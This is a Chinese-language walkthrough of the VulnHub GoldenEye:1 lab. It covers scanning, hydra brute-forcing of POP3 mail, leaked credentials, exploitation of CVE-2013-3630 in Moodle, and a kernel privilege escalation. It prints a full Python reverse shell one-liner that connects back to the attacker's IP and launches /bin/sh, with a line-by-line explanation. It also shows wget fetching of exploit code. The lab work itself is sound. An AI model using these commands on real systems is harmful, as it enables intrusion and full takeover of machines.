《VulnHub》GoldenEye:1
title: 《VulnHub》GoldenEye:1
date: 2024-02-16 14:53:49
updated: 2024-02-16 15:08:49
categories: WriteUp:Cyber-Range
excerpt: 主机发现、目标信息扫描、源码 js 文件泄露敏感信息、hydra 爆破邮件服务(pop3)、邮件泄露敏感信息、ip 与域名映射写进 hosts 文件、whatweb 工具检测网站、图片隐写分析、CVE-2013-3630 漏洞利用、python 反弹 shell、使用 ptyhon 获取 tty、CVE-2015-1328 漏洞利用、kali 本地 exp 库攻击脚本利用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png
VulnHub
- 1:靶场信息
- 2:打靶
- 2.1:情报收集 & 威胁建模
- 2.2:漏洞分析 & 渗透攻击
- 2.3:后渗透
- 3:总结
- 3.1:命令 & 工具
- 3.2:关键技术
VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com
攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.15。
1:靶场信息
靶场地址:
https://www.vulnhub.com/entry/goldeneye-1,240/
2:打靶
2.1:情报收集 & 威胁建模
主机发现:
nmap 192.168.8.0/24 -sn

可以确定目标 ip:192.168.8.137。
进行端口扫描、服务探测、OS 探测:
nmap 192.168.8.137 -p- -sC -sV -O
┌──(root㉿kali)-[~]
└─# nmap 192.168.8.137 -p- -sC -sV -O
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 10:43 HKT
Nmap scan report for 192.168.8.137
Host is up (0.00089s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after: 2028-04-21T03:22:34
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: GoldenEye Primary Admin Server
|_http-server-header: Apache/2.4.7 (Ubuntu)
55006/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) RESP-CODES USER CAPA AUTH-RESP-CODE PIPELINING TOP UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_ssl-date: TLS randomness does not represent time
55007/tcp open pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_pop3-capabilities: USER CAPA PIPELINING RESP-CODES TOP AUTH-RESP-CODE SASL(PLAIN) UIDL STLS
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:01:85:10 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hopOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.41 seconds
先访问 80 端口看看。
给出了一个登录地址。查看源码还可以发现一个 js 文件。

terminal.js 内容如下。

var data = [{GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:....................<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"}
];//
//Boris, make sure you update your default password.
//My sources say MI6 maybe planning to infiltrate.
//Be on the lookout for any suspicious network traffic....
//
//I encoded you p@ssword below...
//
//InvincibleHack3r
//
//BTW Natalya says she can break your codes
//var allElements = document.getElementsByClassName("typeing");
for (var j = 0; j < allElements.length; j++) {var currentElementId = allElements[j].id;var currentElementIdContent = data[0][currentElementId];var element = document.getElementById(currentElementId);var devTypeText = currentElementIdContent;var i = 0, isTag, text;(function type() {text = devTypeText.slice(0, ++i);if (text === devTypeText) return;element.innerHTML = text + `<span class='blinker'> </span>`;var char = text.slice(-1);if (char === "<") isTag = true;if (char === ">") isTag = false;if (isTag) return type();setTimeout(type, 60);})();
}
访问登录地址。

terminal.js 文件中的 html 编码字符串解密如下:

InvincibleHack3r
InvincibleHack3r
除此以外从 js 文件中还可以得到两个名字:Boris、Natalya。
以此尝试一下登录,最终得到用户名与密码:
username: boris
password: InvincibleHack3r
登录后页面如下,提示了可能需要从 pop3 服务入手。

那就尝试爆破一下邮件服务密码。
将要使用的用户名写入文件。
echo -e 'boris\nnatalya' > name.txt
使用 hydra 爆破 pop3。
hydra -L name.txt -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3



爆破出了两个账户。
login: boris password: secret1!
login: natalya password: bird
接下来可以通过 nc 登录 pop3 查看邮件。
nc -nv 192.168.8.137 55007 # 登录邮箱
user boris # 登录用户
pass secret1! # 登录密码
list # 查看邮件数量
retr 1 # 查看邮件内容



接下来查看一下 natalya 用户的邮件。



获得了一个用户信息。
username: xenia
password: RCP90rulez!
除此以外获得了一个域名与网址信息。
severnaya-station.com
severnaya-station.com/gnocertdir
如果直接用 ip 访问是以下效果:

那就将 ip 与域名映射写进 hosts 文件。
192.168.8.137 severnaya-station.com
Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
Linux hosts 文件位置:/etc/hosts
再次访问网站:

网站 CMS 为 Moodle。
也可以用 whatweb 工具检测:
whatweb http://severnaya-station.com/gnocertdir/

网站需要登录,尝试使用以下用户信息登录网站:
username: xenia
password: RCP90rulez!


查看未读邮件。

这里发现 CMS 为 Moodle 2.2.3。

得到了一个新用户:doak
使用 hydra 爆破一下 pop3。
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.8.137 -s 55007 pop3
爆破出用户名与密码:

login: doak password: goat
通过 nc 登录 pop3 查看邮件。
nc -nv 192.168.8.137 55007 # 登录邮箱
user doak # 登录用户
pass goat # 登录密码
list # 查看邮件数量
retr 1 # 查看邮件内容

获得了一个用户信息。
username: dr_doak
password: 4England!
用这个用户信息登录进网站:

发现一个私人文件,下载后查看。

给了一个网址目录:
/dir007key/for-007.jpg
访问查看:

根据邮件提示检查一下图片,先将图片下载。
wget http://severnaya-station.com/dir007key/for-007.jpg
之后可以用以下工具进行分析:
binwalk:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码exiftool:图虫,解析图片 exif 信息strings:用于打印文件中可打印字符串(ASCII 码)



识别出一串 base64 编码:
eFdpbnRlcjE5OTV4IQ==
解码:

eFdpbnRlcjE5OTV4IQ==
xWinter1995x!
根据邮件中提示猜测这是 admin 账户的密码。
尝试登录网站:

没有发现什么可以利用的。
那尝试从 CMS 入手。搜索一下 Moodle 2.2.3 的漏洞。
关键字:Moodle 2.2.3 poc exp
发现 CVE-2013-3630 漏洞。尝试利用。
漏洞 exp 详情:
《Moodle - Remote Command Execution (Metasploit)》:
https://www.exploit-db.com/exploits/29324
从 exp 中可以看到,需要将拼写检查 google spell 换成 PSpellSHell。

刚好用 admin 登录的 CMS 后台可以进行此设置。

原因是目标主机上不存在 GCC 编译,只能 CC 编译,所以需要把 Google Spell 改成 PSpellShell。
2.2:漏洞分析 & 渗透攻击
启动 MSF。
msfdb init && msfconsole
查找相关漏洞。
search CVE-2013-3630

使用序号为 0 的模块进行渗透。
use 0
show options
set USERNAME admin
set PASSWORD xWinter1995x!
set RHOSTS severnaya-station.com # 设置目标主机
set TARGETURI /gnocertdir # 设置目录

为了获得反弹 shell 的会话,还需要设置 payload。
set payload cmd/unix/reverse # 使用 cmd/unix/reverse
show options
set lhost 192.168.8.15 # 设置攻击机 ip

执行。

好,失败了。
查阅资料发现可能是 msf 版本过高问题,但也发现了手工利用的方法。
《VulnHub-GoldenEye-1 靶场渗透测试》:
https://www.freebuf.com/articles/web/260592.html
开始手工利用漏洞。
在下图所示路径设置中更改为以下 payload:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后在 kali 终端使用 nc 监听相应端口。
nc -lnvp 6666
之后在下图所示路径中新建文章,随便输入字符,点击 “ Toggle Spellchecker ” 后就会反弹 shell。


目标机安装了 python,可以使用 ptyhon 获取 tty,不然有些命令无法执行。
python -c 'import pty; pty.spawn("/bin/bash")'
teletypewriter(tty),表示终端或终端模拟器。

至此获取了目标机器一个低权限 shell。
2.3:后渗透
进行提权。
查看一下系统内核:
uname -a

搜索一下相关的内核漏洞。


得到 EDB-ID:37292
搜索 kali 本地 exp 库中 37292 攻击脚本信息。
searchsploit 37292

将该文件复制到一个目录中。
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/GoldenEye-1/
查看目标机器,发现目标没有安装 gcc,但安装了 cc。还安装了 wget
C 语言用 gcc 编译 .c 文件为可执行文件。可以用 cc 代替编译。

原本的 37292.c 文件使用 gcc,需要将第 143 行的 gcc 改为 cc。

在相应目录下开启一个简单的 http 服务,便于使目标机器下载相应利用代码。
python3 -m http.server 8088

目标机器中,进入 /tmp/ 目录,下载。
wget http://192.168.8.15:8088/37292.c

编译,并给可执行文件赋权,然后执行。
cc -o rootshell 37292.c
chmod +x rootshell
./rootshell

成功提权至 root。
最后使用 ptyhon 获取 tty。
python -c 'import pty; pty.spawn("/bin/bash")'



完结撒花!
3:总结
该靶场要点在于对敏感信息泄露的收集。
3.1:命令 & 工具
- nmap
- BurpSuite
- hydra
- netcat
- whatweb
- binwalk
- exiftool
- strings
- Exploit Database
https://www.exploit-db.com/ - MSF
- python
- uname
- searchsploit
- cc
- wget
3.2:关键技术
-
主机发现:
nmap <ip cidr> -sn -
目标信息扫描,端口扫描、服务探测、操作系统探测:
nmap <target> -p- -sC -sV -O -
源码 js 文件泄露敏感信息,html 编码字符串解密。
-
hydra 爆破邮件服务(pop3):
hydra -L <name file> -P <password file> <target> -s <port> pop3
hydra -l <name> -P <password file> <target> -s <port> pop3 -
netcat 登录查看邮件:
nc -nv <target> <port> # 登录邮箱
user <username> # 登录用户
pass <password> # 登录密码
list # 查看邮件数量
retr <num> # 查看邮件内容
-
邮件泄露敏感信息。
-
ip 与域名映射写进 hosts 文件。
Windows hosts 文件位置:C:\Windows\System32\drivers\etc\hosts
Linux hosts 文件位置:/etc/hosts -
whatweb 工具检测网站:
whatweb <URL> -
wget 下载文件:
wget <URI> -
图片隐写分析:
binwalk:路由逆向分析工具,用于获取给定二进制镜像文件嵌入的文件和代码
exiftool:图虫,解析图片 exif 信息
strings:用于打印文件中可打印字符串(ASCII 码) -
CVE-2013-3630 漏洞利用。(msf 利用、手工利用)
-
python 反弹 shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.15",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'# 代码解释
import socket,subprocess,os; # 导入 socket、subprocess 和 os 模块
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); # 创建一个 TCP 套接字
s.connect(("<ip>",<port>)); # 连接远程主机的 IP 与端口
os.dup2(s.fileno(),0); # 将标准输入重定向到套接字的文件描述符
os.dup2(s.fileno(),1); # 将标准输出重定向到套接字的文件描述符
os.dup2(s.fileno(),2); # 将标准错误重定向到套接字的文件描述符
p=subprocess.call(["/bin/sh","-i"]); # 通过 subprocess 模块调用 /bin/sh,并使用 -i 参数以交互模式运行 shell。
-
netcat 监听端口反弹 shell:
nc -lnvp <port> -
使用 ptyhon 获取 tty(teletypewriter,表示终端或终端模拟器):
python -c 'import pty; pty.spawn("/bin/bash")' -
查看系统内核:
uname -a -
CVE-2015-1328 漏洞利用。EDB-ID:37292。
-
搜索 kali 本地 exp 库中攻击脚本信息:
searchsploit <ID> -
在目录下开启一个简单 http 服务:
python3 -m http.server <port> -
编译 c 文件,并赋权,执行。(利用系统内核漏洞提权)
cc -o <filename> <c file>
chmod +x <filename>
./<filename>
人之忌,在好为人师。
——《孟子》(战国)
相关文章:
《VulnHub》GoldenEye:1
title: 《VulnHub》GoldenEye:1 date: 2024-02-16 14:53:49 updated: 2024-02-16 15:08:49 categories: WriteUp:Cyber-Range excerpt: 主机发现、目标信息扫描、源码 js 文件泄露敏感信息、hydra 爆破邮件服务(pop3)、邮件泄露敏…...
html的表格标签
html的表格标签 table标签:表示整个表格tr:表示表格的一行td:表示一个单元格th:表示表头单元格.会居中加粗thead:表格的头部区域 (注意和th区分,范围是比th要大的).tbody:表格得到主体区域. table包含tr , tr包含td或者th. 表格标签有一些属性,可以用于设置大小边…...
蓝桥杯(Web大学组)2022省赛真题:展开你的扇子
思路: transform-origin: center bottom;使盒子旋转时,以底部的中心为坐标原点(题目已给出) 对每个盒子使用transform: rotate();实现旋转 笔记: 设置悬浮旋转时, #box div:hover #item6{ } 为什…...
复习基础知识1
局部变量 写程序时,程序员经常会用到局部变量 汇编中寄存器、栈,可写区段、堆,函数的局部变量该存在哪里呢? 注意:局部变量有易失性 一旦函数返回,则所有局部变量会失效。 考虑到这种特性,人们…...
java8-用流收集数据-6
本章内容口用co1lectors类创建和使用收集器 口将数据流归约为一个值 口汇总:归约的特殊情况 数据分组和分区口 口 开发自己的自定义收集器 我们在前一章中学到,流可以用类似于数据库的操作帮助你处理集合。你可以把Java8的流看作花哨又懒惰的数据集迭代器。它们…...
[前端开发] JavaScript基础知识 [上]
下篇:JavaScript基础知识 [下] JavaScript基础知识 [上] 引言语句、标识符和变量JavaScript引入注释与输出数据类型运算符条件语句与循环语句 引言 JavaScript是一种广泛应用于网页开发的脚本语言,具有重要的前端开发和部分后端开发的应用。通过JavaSc…...
初识Qt | 从安装到编写Hello World程序
文章目录 1.前端开发简单分类2.Qt的简单介绍3.Qt的安装和环境配置4.创建简单的Qt项目 1.前端开发简单分类 前端开发,这里是一个广义的概念,不单指网页开发,它的常见分类 网页开发:前端开发的主要领域,使用HTML、CSS …...
机器学习:过拟合和欠拟合的介绍与解决方法
过拟合和欠拟合的表现和解决方法。 其实除了欠拟合和过拟合,还有一种是适度拟合,适度拟合就是我们模型训练想要达到的状态,不过适度拟合这个词平时真的好少见。 过拟合 过拟合的表现 模型在训练集上的表现非常好,但是在测试集…...
变分自编码器(VAE)PyTorch Lightning 实现
✅作者简介:人工智能专业本科在读,喜欢计算机与编程,写博客记录自己的学习历程。 🍎个人主页:小嗷犬的个人主页 🍊个人网站:小嗷犬的技术小站 🥭个人信条:为天地立心&…...
设备驱动开发_1
可加载模块如何工作的 主要内容 描述可加载模块优势使用模块命令效率使用和定义模块密钥和模块工作1 描述可加载模块优势 开发周期优势: 静态模块在/boot下的vmlinuz中,需要配置、编译、重启。 开发周期长。 LKM 不需要重启。 开发周期优于静态模块。 2 使用模块命令效率…...
C语言位域(Bit Fields)知识点精要解析
在C语言中,位域(Bit Field)是一种独特的数据结构特性,它允许程序员在结构体(struct)中定义成员变量,并精确指定其占用的位数。通过使用位域,我们可以更高效地利用存储空间࿰…...
离散数学——图论(笔记及思维导图)
离散数学——图论(笔记及思维导图) 目录 大纲 内容 参考 大纲 内容 参考 笔记来自【电子科大】离散数学 王丽杰...
opencv图像像素的读写操作
void QuickDemo::pixel_visit_demo(Mat & image) {int w image.cols;//宽度int h image.rows;//高度int dims image.channels();//通道数 图像为灰度dims等于一 图像为彩色时dims等于三 for (int row 0; row < h; row) {for (int col 0; col < w; col) {if…...
Java学习第十四节之冒泡排序
冒泡排序 package array;import java.util.Arrays;//冒泡排序 //1.比较数组中,两个相邻的元素,如果第一个数比第二个数大,我们就交换他们的位置 //2.每一次比较,都会产生出一个最大,或者最小的数字 //3.下一轮则可以少…...
第1章 计算机网络体系结构-1.1计算机网络概述
1.1.1计算机网络概念 计算机网络是将一个分散的,具有独立功能的计算机系统通过通信设备与路线连接起来,由功能完善的软件实现资源共享和信息传递的系统。(计算机网络就是一些互连的,自治的计算机系统的集合) 1.1.2计算机网络的组成 从不同角…...
蓝桥杯:C++排序
排序 排序和排列是算法题目常见的基本算法。几乎每次蓝桥杯软件类大赛都有题目会用到排序或排列。常见的排序算法如下。 第(3)种排序算法不是基于比较的,而是对数值按位划分,按照以空间换取时间的思路来排序。看起来它们的复杂度更好,但实际…...
数据结构-堆
1.容器 容器用于容纳元素集合,并对元素集合进行管理和维护. 传统意义上的管理和维护就是:增,删,改,查. 我们分析每种类型容器时,主要分析其增,删,改ÿ…...
奔跑吧小恐龙(Java)
前言 Google浏览器内含了一个小彩蛋当没有网络连接时,浏览器会弹出一个小恐龙,当我们点击它时游戏就会开始进行,大家也可以玩一下试试,网址:恐龙快跑 - 霸王龙游戏. (ur1.fun) 今天我们也可以用Java来简单的实现一下这…...
Ubuntu 1804 And Above Coredump Settings
查看 coredump 是否开启 # 查询, 0 未开启, unlimited 开启 xiaoUbuntu:/var/core$ ulimit -c 0# 开启 xiaoUbuntu:/var/core$ ulimit -c unlimited查看 coredump 保存路径 默认情况下,Ubuntu 使用 apport 服务处理 coredump 文件ÿ…...
docker 2:安装
docker 2:安装 ubuntu 安装 docker sudo apt install docker.io 把当前用户放进 docker 用户组,避免每次运行 docker 命都要使用 sudo 或者 root 权限。 sudo usermod -aG docker $USERid $USER 看到用户已加入 docker 组 …...
深度学习在微纳光子学中的应用
深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向: 逆向设计 通过神经网络快速预测微纳结构的光学响应,替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...
智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...
FastAPI 教程:从入门到实践
FastAPI 是一个现代、快速(高性能)的 Web 框架,用于构建 API,支持 Python 3.6。它基于标准 Python 类型提示,易于学习且功能强大。以下是一个完整的 FastAPI 入门教程,涵盖从环境搭建到创建并运行一个简单的…...
UDP(Echoserver)
网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法:netstat [选项] 功能:查看网络状态 常用选项: n 拒绝显示别名&#…...
oracle与MySQL数据库之间数据同步的技术要点
Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异,它们的数据同步要求既要保持数据的准确性和一致性,又要处理好性能问题。以下是一些主要的技术要点: 数据结构差异 数据类型差异ÿ…...
【C语言练习】080. 使用C语言实现简单的数据库操作
080. 使用C语言实现简单的数据库操作 080. 使用C语言实现简单的数据库操作使用原生APIODBC接口第三方库ORM框架文件模拟1. 安装SQLite2. 示例代码:使用SQLite创建数据库、表和插入数据3. 编译和运行4. 示例运行输出:5. 注意事项6. 总结080. 使用C语言实现简单的数据库操作 在…...
零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...
Swagger和OpenApi的前世今生
Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章,二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑: 🔄 一、起源与初创期:Swagger的诞生(2010-2014) 核心…...
